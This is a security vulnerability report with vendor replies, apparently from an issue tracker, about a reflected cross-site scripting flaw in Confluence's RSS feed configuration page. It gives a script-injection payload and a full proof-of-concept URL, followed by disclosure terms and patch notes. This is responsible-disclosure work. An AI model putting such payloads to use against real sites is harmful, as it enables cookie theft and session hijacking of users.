The RSS feed creation process is vulnerable to XSS attacks. It is possible to inject javascript code into the page by changing the types field to:
types=>"><script>alert(document.cookie)</script>
complete example from the testenvironment:
http://localhost:8080/dashboard/doconfigurerssfeed.action?types=page&types=blogpost&types=mail&types=comment&types=>"><script>alert(document.cookie)</script>&sort=modified&showContent=true&showDiff=true&spaces=conf_global&labelString=&rssType=atom&maxResults=10&timeSpan=5&publicFeed=false&title=Confluence+RSS+Feed
(NOTE This only renders correctly in IE, tested in IE 7.0, firefox does not execute the code)
IMPORTANT: please confirm receipt of this notification! Depending on the response, we may report the
vulnerability to publicly available security forums such as CERT (www.cert.org). Our policy is to give
you at least 30 days grace period prior to any public disclosure.

Thanks for the reports, I will be setting the priority to Critical as the issues get scheduled. We wont be releasing 2.9.2 until they are all addressed.
Cheers

I attached a patched class file for versions 2.8.2 and 2.7.3 of Confluence. Please refer to the installation instructions on how to install this patch.
The subdirectories for the class file are com/atlassian/confluence/dashboard/actions. You need to remove the "-2.7.3" from the class file before copying it.
